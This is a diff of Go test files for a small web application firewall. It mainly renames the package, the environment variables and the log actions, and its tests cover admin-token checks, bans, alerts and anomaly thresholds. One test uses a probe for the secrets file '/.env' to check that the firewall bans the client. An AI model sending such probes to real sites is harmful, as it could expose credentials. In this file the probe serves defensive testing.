@@ -329,7 +324,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
})
for _, e := range adminEndpoints() {
s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
s.adminRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
}
if held := server.Ledger.Snapshot(); len(held) != 0 {
@@ -337,40 +332,40 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
}
}
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
// adminEndpoint is a request to an endpoint SWWAF_ADMIN_TOKEN opens.
type adminEndpoint struct {
method, path, body string
}
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
// adminEndpoints returns a request to each endpoint SWWAF_ADMIN_TOKEN
// opens: listing the bans, banning otherClient for an hour, lifting the
// bans on otherClient, and asking about otherClient.
func adminEndpoints() []adminEndpoint {
return []adminEndpoint{
{http.MethodGet, waf.BansPath, ""},
{http.MethodPost, waf.BansPath, banOtherClient},
{http.MethodDelete, waf.BansPath + "/" + otherClient, ""},
{http.MethodGet, waf.ClientsPath + otherClient, ""},
{http.MethodGet, servewaf.BansPath, ""},
{http.MethodPost, servewaf.BansPath, banOtherClient},
{http.MethodDelete, servewaf.BansPath + "/" + otherClient, ""},
{http.MethodGet, servewaf.ClientsPath + otherClient, ""},
}
}
// admin sends a request with method for path, with body, to waf's own
// admin sends a request with method for path, with body, to servewaf's own
// address, with the admin token, and checks that it is answered with status, its
// log line's action own_endpoint. It returns the answer.
// log line's action admin. It returns the answer.
func (s *sender) admin(method, path, body string, status int) answer {
s.t.Helper()
return s.ownEndpointRequest(adminBearer, method, path, body, status)
return s.adminRequest(adminBearer, method, path, body, status)
}
// ownEndpointRequest is admin with authorization as the request's Authorization
// header unless it is "".
func (s *sender) ownEndpointRequest(
// adminRequest is admin with authorization as the request's Authorization header
// unless it is "".
func (s *sender) adminRequest(
authorization, method, path, body string, status int,
) answer {
s.t.Helper()
req := newRequest(s.t, method, s.wafAddr, path, strings.NewReader(body))
req := newRequest(s.t, method, s.serveWAFAddr, path, strings.NewReader(body))
if authorization != "" {
req.Header.Set("Authorization", authorization)
}
@@ -380,7 +375,7 @@ func (s *sender) ownEndpointRequest(
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
s.sent++
wantLine(s.t, line, status, requestlog.ActionOwnEndpoint)
wantLine(s.t, line, status, requestlog.ActionAdmin)
return got
}
@@ -1,4 +1,4 @@
package waf_test
package servewaf_test
import (
"maps"
@@ -11,14 +11,14 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
)
const (
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL"
alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR"
// alertInstance is the instance every alert of these tests gives.
alertInstance = "fsn1app1/blog"
alertInstance = "fsn1app1/gitea"
)
func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
@@ -31,14 +31,14 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
start := clk.Now()
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
netblock := netip.MustParsePrefix("203.0.113.0/24")
ban := server.Ledger.Bans(netblock)[0]
// A request refused under the ban raises no other alert.
clk.advance(time.Minute)
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netblock, Cause: bans.CauseLimit,
@@ -62,24 +62,22 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
// The probe bans the client for seven days, and its next request makes
// the ban permanent. The request after that changes nothing.
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
attackBan := server.Ledger.Bans(netblock)[0]
clk.advance(time.Minute)
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
permanentBan := server.Ledger.Bans(netblock)[0]
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
// Another client's probe after its first ban has run out without a
// request makes a permanent ban at once.
s.request(otherClient, "/.env", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned)
clk.advance(7 * 24 * time.Hour)
s.request(otherClient, "/.env", http.StatusForbidden,
requestlog.ActionPermanentlyBanned)
s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned)
otherBans := server.Ledger.Bans(other)
@@ -203,7 +201,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
// never sent them, and returns the queue they wait in as well.
func startWithAlerts(
t *testing.T, env map[string]string,
) (*sender, *clock, *waf.Server, *alerts.Queue) {
) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
t.Helper()
return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
@@ -212,21 +210,21 @@ func startWithAlerts(
// startAppWithAlerts is startWithAlerts in front of the app handler.
func startAppWithAlerts(
t *testing.T, handler http.HandlerFunc, env map[string]string,
) (*sender, *clock, *waf.Server, *alerts.Queue) {
) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
t.Helper()
app := startApp(t, handler)
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
settings := map[string]string{
trustedProxies: trustLocalhost,
alertWebhookURL: "https://alerts.example/sww",
alertWebhookURL: "https://alerts.example/smallwebwaf",
instanceName: alertInstance,
}
maps.Copy(settings, env)
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
s := &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}
return s, clk, server, queue
}
@@ -1,4 +1,4 @@
package waf
package servewaf
import (
"net/netip"
@@ -1,4 +1,4 @@
package waf_test
package servewaf_test
import (
"maps"
@@ -15,17 +15,17 @@ import (
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
)
// The anomaly thresholds: the prefix of a scope followed by the end of a
// count.
const (
anomalyClient = "SWW_ANOMALY_CLIENT_"
anomalyNet = "SWW_ANOMALY_NET_"
anomalyASN = "SWW_ANOMALY_ASN_"
anomalyTotal = "SWW_ANOMALY_TOTAL_"
anomalyWatch = "SWW_WATCH_"
anomalyClient = "SWWAF_ANOMALY_CLIENT_"
anomalyNet = "SWWAF_ANOMALY_NET_"
anomalyASN = "SWWAF_ANOMALY_ASN_"
anomalyTotal = "SWWAF_ANOMALY_TOTAL_"
anomalyWatch = "SWWAF_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR"
@@ -35,9 +35,9 @@ const (
// The other anomaly settings.
const (
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
watchNets = "SWW_WATCH_NETS"
anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX"
watchNets = "SWWAF_WATCH_NETS"
)
const (
@@ -73,7 +73,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
{
anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
anomalyWatch, anomaly.ScopeWatch, netip.MustParsePrefix(clientsNet),
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
},
} {
@@ -164,9 +164,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
denied = "192.0.2.20" // in SWW_DENY_NETS
allowed = "192.0.2.7" // in SWWAF_ALLOW_NETS
exempt = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
denied = "192.0.2.20" // in SWWAF_DENY_NETS
)
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
@@ -187,7 +187,7 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
{allowed, "/", http.StatusOK, requestlog.ActionForward},
{exempt, "/", http.StatusOK, requestlog.ActionForward},
{client, "/static/app.js", http.StatusOK, requestlog.ActionForward},
{denied, "/", http.StatusForbidden, requestlog.ActionClientDenied},
{denied, "/", http.StatusForbidden, requestlog.ActionDenied},
} {
for range 3 {
s.request(sent.from, sent.path, sent.status, sent.action)
@@ -319,7 +319,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
// kept.
geojsURL, _, release := startHeldGeoJS(t)
var server atomic.Pointer[waf.Server]
var server atomic.Pointer[servewaf.Server]
app := startApp(t, func(http.ResponseWriter, *http.Request) {
release()
Loaded 100 of 177 files, more files were not shown because too many files have changed in this diff. Show more